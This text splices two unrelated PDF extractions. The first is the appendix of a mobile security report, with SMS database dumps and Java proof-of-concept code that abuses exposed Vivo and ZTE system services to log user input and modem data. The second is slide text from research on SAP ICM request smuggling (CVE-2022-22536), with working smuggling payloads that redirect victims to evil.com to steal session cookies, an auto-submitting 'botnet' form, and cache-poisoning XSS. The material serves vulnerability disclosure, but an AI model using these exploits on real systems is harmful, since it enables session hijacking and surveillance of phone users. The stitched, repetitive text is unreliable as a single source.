flags=0x2 color=0xff607d8b vis=PUBLIC)
tickerText="USB for file transfer"
You found me
Appendix D. The output of querying the com.rcs.gsma.na.provider.message authority of the
com.rcs.gsma.na.provider.message.MessageProvider class.
_id:10 thread_id:4 address:(703) 671-7890 person:null date:1520018133117 date_sent:0
protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:Heyyy
service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1
phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1
rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null
rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null
rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null
rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null
rcs_thumb_status:null
_id:9 thread_id:4 address:(703) 671-7890 person:null date:1520013100751 date_sent:0
protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body: Gen
service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1
phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1
rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null
rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null
rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null
rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null
rcs_thumb_status:null
_id:8 thread_id:4 address:+17036717890 person:null date:1519962834336 date_sent:1519962834000
protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:koraxx
service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1
priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null
rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null
rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0
rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null
rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null
rcs_file_status:null rcs_thumb_status:null
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
_id:7 thread_id:4 address:+17036717890 person:null date:1519962832167 date_sent:1519962831000
protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:koarxx
service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1
priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null
rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null
rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0
rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null
rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null
rcs_file_status:null rcs_thumb_status:null
_id:6 thread_id:4 address:(703) 671-7890 person:null date:1519962780392 date_sent:0
protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:korax
service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1
phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1
rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null
rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null
rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null
rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null
rcs_thumb_status:null
_id:5 thread_id:4 address:+17036717890 person:null date:1519959534085 date_sent:0
protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:what
the?!?!?!?!? service_center:null locked:0 sub_id:-1 error_code:0 creator:com.rcs.gsma.na.sdk
seen:1 priority:-1 phone_id:-1 rcs_message_id:151995953409400001 rcs_file_name:null
rcs_mime_type:null rcs_msg_type:0 rcs_msg_state:32 rcs_conversation_id:34db30f7-9327-40ec-
85cd-16693579cc71 rcs_contribution_id:2763cb38-5fa2-4fd4-ab10-fea00688c6ba
rcs_file_selector:null rcs_file_transfered:0 rcs_file_transfer_id:null rcs_file_size:0
rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:0 rcs_file_record:0
rcs_chat_type:1 rcs_disposition_type:0 rcs_extend_body:null rcs_file_status:0
rcs_thumb_status:0
_id:4 thread_id:5 address:456 person:null date:1519958756064 date_sent:1519958754000
protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:T-Mobile allows you
to purchase services from third parties and makes it easy to identify those charges to your
account. You can also block purchases from third parties; visit t-mo.co/block to learn more.
service_center:+14054720056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1
priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null
rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null
rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0
rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null
rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null
rcs_file_status:null rcs_thumb_status:null
_id:3 thread_id:4 address:+17036717890 person:null date:1519953491939 date_sent:1519953492000
protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:Test
service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1
priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null
rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null
rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0
rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null
rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null
rcs_file_status:null rcs_thumb_status:null
_id:2 thread_id:4 address:(703) 671-7890 person:null date:1519953411079 date_sent:0
protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:Test
service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1
phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1
rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null
rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null
rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null
rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null
rcs_thumb_status:null
_id:1 thread_id:1 address:2941 person:null date:1519953278426 date_sent:1519953238000
protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:Welcome to T-Mobile!
Dial #BAL# to check your balances. Your T-Mobile number is 17036348111
service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1
priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null
rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0
rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null
rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null
rcs_file_status:null rcs_thumb_status:null
Appendix E. The output of querying the com.rcs.gsma.na.provider.capability authority of the
com.rcs.gsma.na.provider.capability.CapabilityProvider class.
_id:1 contact:+17035307980 date:1520039661214 caps:0 uri:sip:[email protected]
_id:2 contact:+17036717890 date:1520889512809 caps:0 uri:
_id:3 contact:+15403464546 date:1520889269698 caps:0 uri:
_id:4 contact:+15403464546 date:1520889269698 caps:0 uri:
_id:5 contact:+17064546454 date:1520889269755 caps:0 uri:
Appendix F. The AndroidManifest.xml file of the com.qualcomm.qti.modemtestmode app
(versionCode=25, versionName=7.1.2) from the Vivo V7 Android Device.
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest
xmlns:android="http://schemas.android.com/apk/res/android"
android:sharedUserId="android.uid.system" package="com.qualcomm.qti.modemtestmode"
platformBuildVersionCode="25" platformBuildVersionName="7.1.2">
<uses-permission android:name="com.qualcomm.permission.USE_QCRIL_MSG_TUNNEL"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<application android:allowBackup="true" android:icon="@drawable/mbn"
android:label="@string/app_name" android:name="com.qualcomm.qti.modemtestmode.MbnAppGlobals"
android:theme="@android:style/Theme.Black">
<uses-library android:name="com.qualcomm.qcrilhook" android:required="true"/>
<activity android:label="@string/app_name" android:name=".MbnFileActivate"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
</activity>
<activity android:label="@string/mbn_validate" android:name=".MbnTestValidate"
android:screenOrientation="portrait"
android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnTestValidate"/>
<activity android:name=".MbnFileLoad" android:screenOrientation="portrait"
android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnFileLoad"/>
<activity android:name="com.qualcomm.qti.modemtestmode.MbnInfoActivity"
android:screenOrientation="portrait"
android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnInfoActivity"/>
<activity android:name="com.qualcomm.qti.modemtestmode.MbnAutoTestActivity"
android:screenOrientation="portrait"
android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnAutoTestActivity"/>
<service android:exported="true" android:name=".MbnTestService"
android:process="com.android.phone"/>
<service android:name=".MbnSystemService"/>
<receiver android:name=".DefaultReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
<intent-filter>
<action android:name="android.provider.Telephony.VIVO_SECRET_CODE"/>
<data android:host="6266344" android:scheme="android_vivo_sec_code"/>
<data android:host="33266344" android:scheme="android_vivo_sec_code"/>
<data android:host="3266344" android:scheme="android_secret_code"/>
<data android:host="76266344" android:scheme="android_vivo_sec_code"/>
</intent-filter>
</receiver>
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
</application>
Appendix G. Obtaining User Input on the Vivo V7 via Setting a System Property.
public void vivo_v7_set_properties_as_phone() {
Intent i = new Intent();
i.setClassName("com.qualcomm.qti.modemtestmode",
"com.qualcomm.qti.modemtestmode.MbnTestService");
VivoServiceConnection servConn = new VivoServiceConnection();
boolean ret = bindService(i, servConn, BIND_AUTO_CREATE);
Log.d(TAG, "initService() bound with " + ret);
}
class VivoServiceConnection implements ServiceConnection {
public void onServiceConnected(ComponentName name, IBinder boundService) {
Log.w(TAG, "onServiceConnected");
Class clazz = boundService.getClass();
Parcel data = Parcel.obtain();
data.writeInterfaceToken("com.qualcomm.qti.modemtestmode.f");
data.writeString("persist.sys.input.log");
data.writeString("yes");
Parcel reply = Parcel.obtain();
try {
boundService.transact(1, data, reply, 0);
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName arg0) {}
}
Appendix H. PoC Code for Obtaining the Modem Logs.
Below is the source code to initiate the writing of the modem logs to the SD card. After executing this
code, a directory with a path of /sdcard/sd_logs will appear. After around 20 seconds, a binary file will
appear in this directory. An example file name is sdlog_13_12_44_21.qmdl.gz. The file needs to be
decompressed with gunzip first. Then the file can be parsed for telephony data matching specific formats
or input into a program that views or converts the qmdl file. The code below needs to be inserted into an
Android app on a ZTE device. In addition, the device should have a SIM card inserted.
public void zte_enable_and_start_modem_logs() throws Exception {
Class servman = Class.forName("android.os.ServiceManager");
Method getServ = servman.getDeclaredMethod("getIServiceManager", new Class[0]);
getServ.setAccessible(true);
Object obj = getServ.invoke(null, new Object[0]);
Class iServiceManager = obj.getClass();
Method[] iSM = iServiceManager.getDeclaredMethods();
Method getService = iServiceManager.getDeclaredMethod("getService", new
Class[]{String.class});
getService.setAccessible(true);
String serviceName = "ModemService";
IBinder modemServiceBinderyProxy = (IBinder) getService.invoke(obj, new Object[]
{serviceName});
Class modemServiceBinderyProxyClass = modemServiceBinderyProxy.getClass();
Method[] mdBPmethd = modemServiceBinderyProxyClass.getDeclaredMethods();
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Parcel data = Parcel.obtain();
data.writeInterfaceToken("com.android.modem.service.IModemService");
Parcel reply = Parcel.obtain();
modemServiceBinderyProxy.transact(1, data, reply, 0); // gets the ISdlogService
int check = reply.readInt();
IBinder sdLogInterface = reply.readStrongBinder();
data.recycle();
reply.recycle();
Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();
data1.writeInterfaceToken("com.android.modem.service.ISdlogService");
sdLogInterface.transact(0x18, data1, reply1, 0); // configSdlog()Z
int replyint1 = reply1.readInt();
data1.recycle();
reply1.recycle();
Parcel data2 = Parcel.obtain();
Parcel reply2 = Parcel.obtain();
data2.writeInterfaceToken("com.android.modem.service.ISdlogService");
sdLogInterface.transact(0x5, data2, reply2, 0); // enableLog()V
int replyint2 = reply2.readInt();
data2.recycle();
reply2.recycle();
Parcel data3 = Parcel.obtain();
Parcel reply3 = Parcel.obtain();
data3.writeInterfaceToken("com.android.modem.service.ISdlogService");
sdLogInterface.transact(0x2, data3, reply3, 0); // startLog()V
int replyint3 = reply3.readInt();
data3.recycle();
reply3.recycle();
}
Appendix I. PoC Code for Obtaining the Logcat Logs.
Below is the source code to initiate the writing of the logcat logs to the SD card. After executing this
code, a directory with a path of /sdcard/sd_logs/AdbLog/logcat will be created. Then four files
corresponding to the names of the logcat log buffers will start being written in the directory.
public void zte_obtain_android_log() throws Exception {
Class servman = Class.forName("android.os.ServiceManager");
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Method getServ = servman.getDeclaredMethod("getIServiceManager", new Class[0]);
getServ.setAccessible(true);
Object obj = getServ.invoke(null, new Object[0]);
Class iServiceManager = obj.getClass();
Method[] iSM = iServiceManager.getDeclaredMethods();
Method getService = iServiceManager.getDeclaredMethod("getService", new
Class[]{String.class});
getService.setAccessible(true);
String serviceName = "ModemService";
IBinder modemServiceBinderyProxy = (IBinder) getService.invoke(obj, new Object[]
{serviceName});
Class modemServiceBinderyProxyClass = modemServiceBinderyProxy.getClass();
Method[] mdBPmethd = modemServiceBinderyProxyClass.getDeclaredMethods();
Parcel data = Parcel.obtain();
data.writeInterfaceToken("com.android.modem.service.IModemService");
Parcel reply = Parcel.obtain();
modemServiceBinderyProxy.transact(2, data, reply, 0); // gets the IAssistantService
int check = reply.readInt();
IBinder serviceInterface = reply.readStrongBinder();
data.recycle();
reply.recycle();
Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();
data1.writeInterfaceToken("com.android.modem.service.IAssistantService");
data1.writeInt(1);
serviceInterface.transact(0x1, data1, reply1, 0); // enableDeamonProcess(Z)V
int replyint1 = reply.readInt();
data1.recycle();
reply1.recycle();
Parcel data2 = Parcel.obtain();
Parcel reply2 = Parcel.obtain();
data2.writeInterfaceToken("com.android.modem.service.IAssistantService");
data2.writeInt(1);
serviceInterface.transact(0x12, data2, reply2, 0); // enableAdbLog(Z)V
int replyint2 = reply2.readInt();
data2.recycle();
reply2.recycle();
} | pdf |
Internal Server Error:
Exploiting Inter-Process Communication in
SAP's HTTP Server
Martin Doyhenard
Security Researcher @
Onapsis
●
Business Processes software
○
Operations
○
Financials
○
Human Capital
○
Customer Relationship
○
Supply Chain
●
Over 400,000+ Customers (90% Fortune-500)
●
Based on Web Services through HTTP (Java and ABAP)
●
Proprietary HTTP Server: Internet Communication Manager
https://meritotech.com/wp-content/uploads/2022/01/SAP-Imag.jpg
Internet Communication Manager
●
Handles all communication of the SAP System with its clients and the outside world
●
Protocols: HTTP, P4, IIOP, SMTP and others
●
HTTP present by default in all SAP installations (Java, ABAP, WebDispatcher, S/4Hana)
ICM HTTP WorkFlow
ICM Worker
Thread
JAVA / ABAP
Process
HTTP Parser
HTTP Handlers
CLIENT
Memory Pipe
HTTP Request
HTTP Request
ICM Memory Pipes
●
MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
●
Requests/Responses are placed in Shared Memory and accessed using MPI pointers
●
MPI Buffers are fixed size (2^16 by default) and are reserved and freed by a Worker Thread
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
ICM WT
I/O Handler
GET / HTTP/1.1
….
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
Free MPI Buffer
GET / HTTP/1.1
HTTP/1.1 OK
MPI Buffer
HTTP/1.1 OK
ICM WT
I/O Handler
HTTP/1.1 OK
….
ICM HTTP WorkFlow
●
MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
●
Requests/Responses are placed in Shared Memory and accessed using MPI pointers
●
MPI Buffers are fixed size (2^16 by default) and are reserved and freed by a Worker Thread
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
Free MPI Buffer
Free MPI Buffer
HTTP/1.1 OK
ICM WT
I/O Handler
HTTP/1.1 OK
….
ICM HTTP WorkFlow
●
MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
●
Requests/Responses are placed in Shared Memory and accessed using MPI pointers
●
MPI Buffers are fixed size (2^16 by default) and are reserved and freed by a Worker Thread
ICM HTTP Handlers
●
Method and URL determines which Internal Handlers will be called
●
When a Handler generates a Response, all others are removed.
Cache Handler
Admin Handler
Authentication Handler
File Access Handler
Modification Handler
Redirect Handler
JAVA Handler
ABAP Handler
Internal
Handlers
I/O Handler
ICM Internal Handlers
Cache Handler
Admin Handler
Java/ABAP Handler
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /sap/admin
Cache Handler
Admin Handler
HTTP/1.1 OK 200
….
GET /sap/admin/aaa
….
I/O Handler
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /sap/admin
Admin Handler
HTTP/1.1 OK 200
….
HTTP/1.1 OK 200
….
ICM Internal Handlers
I/O Handler
Multi-Buffer Messages
●
What if an HTTP Message is bigger than a fixed size MPI Buffer (65455)?
●
Internal Handlers only need headers (smaller than 65K)
ICM WT
GET / HTTP/1.1
Content-Length:66000
….
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
REQ first ~ 2^16
Cache Handler
Java/ABAP Handler
Java/ABAP Handler
MPI Buffer
Rest of REQ
HTTP/1.1 OK
….
More Request Body
….
I/O Handler
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
REQ first ~ 2^16
Java/ABAP Handler
MPI Buffer
Rest of REQ
HTTP/1.1 OK
MPI Buffer
HTTP/1.1 OK
HTTP/1.1 OK 200
….
Multi-Buffer Messages
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
I/O Handler
HTTP/1.1 OK 200
….
Multi-Buffer Messages
MPI Desynchronization: CVE-2022-22536
I/O Handler
ICM WT
GET /sap/admin
HTTP/1.1
Content-Length:66000
….
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
REQ first ~ 2^16
MPI Desynchronization
….
More Request Body
….
Cache Handler
Admin Handler
Java/ABAP Process
Cache Handler
Admin Handler
HTTP/1.1 OK 200
….
I/O Handler
ICM WT
….
More Request Body
….
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
REQ first ~ 2^16
Admin Handler
HTTP/1.1 OK 200
….
HTTP/1.1 OK 200
….
MPI Desynchronization
I/O Handler
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
More Req Body
….
More Request Body
….
MPI Desynchronization
ICM HTTP Smuggling
●
Request is splitted if:
○
Resolved by an Internal Handler
○
Size of body + headers is greater than 65455
●
All Proxies will consider the payload as one isolated Request (RFC compliant)
GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Lenght: 65417
(A*65370)GET /smuggled HTTP/1.1
Host: SapSystem.com
GET /some/cached/url HTTP/1.1
Host: SapSystem.com
Padding: <A*65379>
Content-Lenght: 47
GET /smuggled HTTP/1.1
Host: SapSystem.com
GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Lenght: 65417
(A*65370)GET /smuggled HTTP/1.1
Host: SapSystem.com
GET /some/cached/url HTTP/1.1
Host: SapSystem.com
Padding: <A*65379>
Content-Lenght: 47
GET /smuggled HTTP/1.1
Host: SapSystem.com
ICM HTTP Smuggling
●
/nwa is an App which redirects a user to a login URL. It provides 2 interesting features:
○
Open Redirect: The Host header is used to build the redirect Location.
○
Params reflection: It reflects as query string either the body (POST) or query string (GET)
●
Hijacking victim’s requests and session cookies
ATTACKER
PROXY
ICM
PAYLOAD
POST NWA
GET X
GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Lenght: 65478
(A*65370)POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Lenght: 65478
(A*65370)POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
ICM HTTP Smuggling
ATTACKER
PROXY
ICM
POST NWA
RESP
RESP
POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-length: 4497
content-type: text/html
connection: Keep-Alive
...
●
Hijacking victim’s requests and session cookies
ICM HTTP Smuggling
VICTIM
PROXY
ICM
GET /
POST NWA
GET /
POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
GET / HTTP/1.1
Host: SapSystem.com
Cookies:
MYSAPSSO2=secret_SAP_Session123456;
User-Agent: Victim Browser 1.0
Accept: text/html
Accept-Language: en-US,en;q=0.9
...
POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
GET / HTTP/1.1
Host: SapSystem.com
Cookies: MYSAPSSO2=secret_SAP_Session123456;
User-Agent: Victim Browser 1.0
...
POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
GET / HTTP/1.1
Host: SapSystem.com
Cookies: MYSAPSSO2=secret_SAP_Session123456;
User-Agent: Victi m Browser 1.0
...
●
Hijacking victim’s requests and session cookies
ICM HTTP Smuggling
VICTIM
PROXY
ICM
Redir
evil.com
GET /
Redir
evil.com
GET /
●
Hijacking victim’s requests and session cookies
ICM HTTP Smuggling
VICTIM
EVIL.COM
GET
/webd
GET /
GET
/webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/FloorPl
anApp?home=true& GET%20/%20HTTP/1.1%20%20Host:%20SapSystem.com%20%
20Cookies:%20MYSAPSSO2=secret_SAP_Session123456;%20%20User-Agent:
%20Victi HTTP/1.1
Host: evil.com
Referer: http://SapSystem.com
●
Hijacking victim’s requests and session cookies
ICM HTTP Smuggling
<form action="http://SapSystem.com/sap/admin/public/default.html" id="botnet" method="post"
enctype="text/plain" hidden>
<input type="text" name="padding" value="{A*65357}">
<textarea name="smuggle" >POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
</textarea>
</form>
<script>
window.onload = document.getElementById("botnet").submit();
</script>
●
Desynchronization does not rely on HTTP headers
●
Exploitable through HTML/JS
●
DNS Rebinding to send valid custom HTTP headers (HAProxy CVE-2021-40346)
Smuggling Botnet
DEMO:
HTTP Request Smuggling
G
G
H
G
H
G
G
H
G
G
Proxy Web Cache
G
POST /sap/admin/public/default.html HTTP/1.1
Host: www.SapSys.com
Padding: {A*65KB~}
Content-Length: 160
HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com
GET
http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
HTTP/1.1
Host: www.SapSys.com
GET /target HTTP/1.1
Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
POST /sap/admin/public/default.html HTTP/1.1
Host: www.SapSys.com
Padding: {A*65KB~}
Content-Length: 160
HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com
GET
http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
HTTP/1.1
Host: www.SapSys.com
GET /target HTTP/1.1
Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com
GET
http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
HTTP/1.1
Host: www.SapSys.com
GET /target HTTP/1.1
Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com
GET
http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
HTTP/1.1
Host: www.SapSys.com
GET /target HTTP/1.1
Host: www.SapSys.com
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381
Response Smuggling - Arbitrary Cache Poisoning
GET
http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
HTTP/1.1
Host: www.SapSys.com
GET /target HTTP/1.1
Host: www.SapSys.com
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381
Response Smuggling - Arbitrary Cache Poisoning
GET
http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
HTTP/1.1
Host: www.SapSys.com
GET /target HTTP/1.1
Host: www.SapSys.com
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381
HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://<img src=""
onerror="Alert(XSS)">/webdynpro/resources/sap.co
m/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...
Response Smuggling - Arbitrary Cache Poisoning
GET /target HTTP/1.1
Host: www.SapSys.com
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381
HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://<img src=""
onerror="Alert(XSS)">/webdynpro/resources/sap.c
om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...
Response Smuggling - Arbitrary Cache Poisoning
GET /target HTTP/1.1
Host: www.SapSys.com
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381
HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://<img src=""
onerror="Alert(XSS)">/webdynpro/resources/sap.c
om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...
…
Response Smuggling - Arbitrary Cache Poisoning
GET /target HTTP/1.1
Host: www.SapSys.com
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381
HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://<img src=""
onerror="Alert(XSS)">/webdynpro/resources/sap.c
om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...
…
Response Smuggling - Arbitrary Cache Poisoning
GET /target HTTP/1.1
Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
GET /target HTTP/1.1
Host: www.SapSys.com
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381
HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://<img src=""
onerror="Alert(XSS)">/webdynpro/resources/sap.c
om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...
…
Response Smuggling - Arbitrary Cache Poisoning
DEMO:
